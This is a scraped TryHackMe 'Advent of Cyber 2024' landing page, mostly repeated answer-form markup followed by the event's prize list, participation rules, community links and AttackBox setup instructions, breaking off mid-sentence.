<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="2" name="2" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="3" name="3" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="4" name="4" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="2" name="2" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="3" name="3" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="4" name="4" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="5" name="5" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="6" name="6" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="7" name="7" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="2" name="2" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="3" name="3" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="4" name="4" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
Text Content
You need to enable JavaScript to run this app. * Learn * Compete * For Education * For Business * Pricing Learn Compete For Education For Business Pricing Log In Join for FREE Log In Join for FREE * Learn * Advent of Cyber 2024 ADVENT OF CYBER 2024 Dive into the wonderful world of cyber security by engaging in festive beginner-friendly exercises every day in the lead-up to Christmas! easy 1440 min Share the challengeHelp 6292 Room progress ( 0% ) To access material, start machines and answer questions login. Advent of Cyber - Day 5: Exploiting XXE in Web Apps! • Source: YouTube Task 1Introduction Welcome to Advent of Cyber 2024 WELCOME TO ADVENT OF CYBER 2024! In this year’s Advent of Cyber, can you help McSkidy and the Glitch defend SOC-mas against the evil Mayor Malware’s plans? Dive into the wonderful world of cyber security by engaging in festive beginner-friendly exercises every day in the lead-up to Christmas! Advent of Cyber is available to all TryHackMe users, and best of all, it's free to participate in. You’ll also be in with the chance of winning from this year’s huge $100,000 prize draw. The more questions you complete, the higher your chances of winning BIG! Think of it like an advent calendar, but with exciting (and festive) security challenges instead of chocolate. MAIN PRIZES This year is our biggest and best prize draw yet, with over $100,000 worth of prizes! In this event, the number of questions you answer really matters! For each question you answer correctly, you'll receive a raffle ticket. The more raffle tickets you collect, the higher your chances of winning big! To be in with the chance of winning the grand prize of DEF CON tickets with accommodation, you’ll need to complete every task in this room by December 31st! This will also earn you a certificate of completion. Here are the prizes up for grabs: 15x Samsung Monitor ($300.00) 7x GRID Backpack ($225.00) 20x JBL Headphones ($130.00) 15x Branded Cotton Canvas Backpack ($65.00) 4x Sony Headphones ($450.00) 3x PAC-MAN™ Deluxe Arcade Game ($500.00) 5x Desk Chair ($249.00) 20x Large Arlo Tech Organizer ($70.00) 20x The Sidekick Tech Kit ($50.00) 15x Branded Apple AirPods Pro (2nd Gen) ($300.00) 10x Apple TV 4K 64GB (3rd generation) ($149.00) 10x Personalized Catch:3 Classics, Italian Leather ($190.00) 15x Clutch® Pro USB-C for Android and iPhone 15+ ($50.00) 500x THM Subscription (1 Month) ($14.00) 5x Stilosa 15 Bar Pump Espresso Machine ($150.00) 300x THM Subscription (3 Months) ($42.00) 5x Infinity Game Board™ ($500.00) 25x THM Subscription (6 Months) ($84.00) 20x Branded MagSafe Charger ($45.00) 5x THM Subscription (12 Months) ($126.00) 5x Duo Standing Desk ($499.00) 400x TryHackMe Swag Gift Cards ($10.00) 10x Nintendo Switch 32GB Lite ($250.00) 300x TryHackMe Swag Gift Cards ($20.00) 3x Switch OLED Model w/ Neon Red & Neon Blue Joy-Con ($420.00) 150x TryHackMe Swag Gift Cards ($50) ($50.00) 10x Solar Charger and Emergency Radio ($50.00) 80x TryHackMe Swag Gift Cards ($75) ($75.00) 2x PlayStation VR2 ($600.00) 20x TryHackMe Swag Gift Cards ($100) ($100.00) 5x Beosound Explore Outdoor Bluetooth Speaker ($249.00) 200x Hacktivities Cards ($20.00) 10x Therabody SmartGoggles ($199.00) 5x DEF CON ($460.00) 10x Ornata V3 Full-Size Wired Mecha-Membrane Gaming Keyboard with Chroma RGB Backlighting ($79.00) GRAND PRIZE: 3x DEF CON + Accommodation ($1,500.00) All winners will be chosen at random, verified by our team (no cheating allowed!), and announced on Monday, January 6th, 2025. GENERAL RULES Breaking any of the following rules will result in elimination from the event: * .tryhackme.com and the OpenVPN server are off-limits to probing, scanning, or exploiting * Users are only authorised to hack machines deployed in the rooms they have access to * Users are not to target or attack other users * Users should only enter the event once, using one account * Answers to questions are not to be shared unless shown on videos/streams * Cheating * Usage of bot accounts For the prize raffle terms and conditions, please visit this page. Please note: Cheating is NOT allowed and will result in a disqualification from the Advent of Cyber event. All winners will be fully verified. This includes, in particular: * creating puppet accounts to inflate your chance to win * using bots to auto-complete the answers in the room HOW TO QUALIFY To qualify for the main prizes, you must answer questions in the Advent of Cyber 2024 challenges, starting with Day 1 (Task 7 of this room). Only questions answered in the Advent of Cyber 2024 room will qualify you for the raffle. * It doesn't matter when you complete tasks. You just need to complete them by 31st December 2024. For example, if you complete questions from Day 1 on 31st December 2024, you will still receive the same amount of raffle tickets as a user who completes on the day of the task release! * You don't have to complete all the questions or complete them in order. The more questions you answer, the more raffle tickets you get and the higher your chances of winning. * Please visit this page to read the detailed Raffle Terms and Conditions. IMPORTANT NOTE: The raffle tickets will not be visible on your profile. The number of raffle tickets you have always equals the number of questions you answer in this room. CERTIFICATE & BADGE Finally, if you complete every task in the event, you will earn a certificate of completion and a badge! As your name will be included on the certificate, we advise ensuring your full name is set (and updated) in your profile. FEATURED VIDEOS Each task released has a supporting video walkthrough to guide you through. You can expect to see some of your favourite cyber security video creators. The most recent day’s video will display at the top of the room, but all videos will be available within the relevant task content. This year's Advent of Cyber featured creators include 0day, UnixGuy, Gerald Auger, Tyler Ramsbey, Bearded I.T. Dad, Day Cyberwox, Marcus Hutchins, David Alves, InsiderPHD, Tib3rius, KevTech, Cyb3rMaddy, and more! Answer the questions below I have read the rules and raffle Terms and Conditions. Login to answer.. Task 2Introduction Join our community JOIN OUR COMMUNITY Follow us on social media for exclusive giveaways, Advent of Cyber task releases, and our prize draw announcement! Follow us on LinkedIn! Be a part of our community and join our Discord! Follow us on X to receive daily challenge posts! Join us on Instagram! Follow us on Facebook! Join our growing subreddit! Follow our TikToks! JOIN OUR DISCORD Discord is the heartbeat of the TryHackMe community. It's where we go to connect with fellow hackers, get help with difficult rooms, and find out when a new room launches. Our Discord server has over 220,000 members (and continues to grow every day), so there's always something happening. Are you excited about Advent of Cyber? Visit a dedicated channel on our Discord, where you can chat with other participants in the event and follow the daily releases! If you haven't used it before, it's very easy to set up (we recommend installing the app). We'll ask a couple of onboarding questions to help figure out which channels are most relevant to you. WHAT DO YOU GET WITH DISCORD? There are so many benefits to joining: * Discuss the day's Advent of Cyber challenges and receive support in a dedicated channel. * Discover how to improve your job applications and fast-track your way into a cyber career. * Learn about upcoming TryHackMe events and challenges. * Browse discussion forums for all of our learning paths and releases. Click on this link to join our Discord Server: Join the Community! GRAB YOUR SWAG! Want to rep swag from your favourite cyber security training platform? We have a NEW special edition Advent of Cyber swag, now available for order! Answer the questions below Join our Discord and say hi! Login to answer.. Is there a dedicated Advent of Cyber channel on TryHackMe Discord where users can discuss daily challenges and receive dedicated support? (yes/no) Login to answer.. Follow us on LinkedIn! Login to answer.. Follow us on X! Login to answer.. Check out the subreddit! Login to answer.. Join us on Instagram! Login to answer.. Follow us on Facebook! Login to answer.. Follow our TikToks! Login to answer.. Task 3Introduction Completing Advent of Cyber as an organisation COMPLETING ADVENT OF CYBER AS AN ORGANISATION With TryHackMe for Business, you: * Get full unlimited access to all of TryHackMe's content and features (excluding cloud content and SOC Sim) * Leverage competitive learning and collectively engage your team in Advent of Cyber tasks, measuring their progress * Create customised learning paths to dive into training topics based on Advent of Cyber and beyond * Training for Defensive, Offensive, and Cloud Security teams * Advanced admin reports and dashboards * Implementation support for your organisation, SSO integration, and Customer Success Manager * Build your own custom capture-the-flag events on demand! If you're interested in exploring TryHackMe's business benefits through a FREE trial, please contact sales@tryhackme.com. For more information about our offering, check out the business page. If you’re an existing client and want to get your wider team and company involved, please reach out to your dedicated Customer Success Manager! Answer the questions below Get your team to work on Advent of Cyber together! Login to answer.. Task 4Introduction How to use TryHackMe A SHORT TRYHACKME TUTORIAL New tasks are released daily at 4pm GMT, with the first challenge being released on 1st December. They will vary in difficulty (although they will always be aimed at beginners). Each task in the event will include instructions on how to interact with the practical material. Please follow them carefully! The instructions will include a connection card similar to the one shown below: Let's work our way through the different options. If the AttackBox option is available: TryHackMe's AttackBox is an Ubuntu Virtual Machine hosted in the cloud. Think of the AttackBox as your virtual computer, which you would use to conduct a security engagement. There will be multiple tasks during the event that will ask you to deploy the AttackBox. You can deploy the AttackBox by clicking the "Start AttackBox" button at the top of this page. Using the web-based AttackBox, you can complete exercises through your browser. If you're a regular user, you can deploy the AttackBox for free for 1 hour a day. If you're subscribed, you can deploy it for an unlimited amount of time! Please note that you can use your own attacker machine instead of the AttackBox. In that case, you will need to connect using OpenVPN. Instructions on how to set up OpenVPN are here. You can open the AttackBox full-screen view in a new tab using this button: If the VM option is available: Most tasks in Advent of Cyber will have a virtual machine attached to them. You will use some of them as targets to train your offensive security skills and some of them as hosts for your analysis and investigations. If this option is 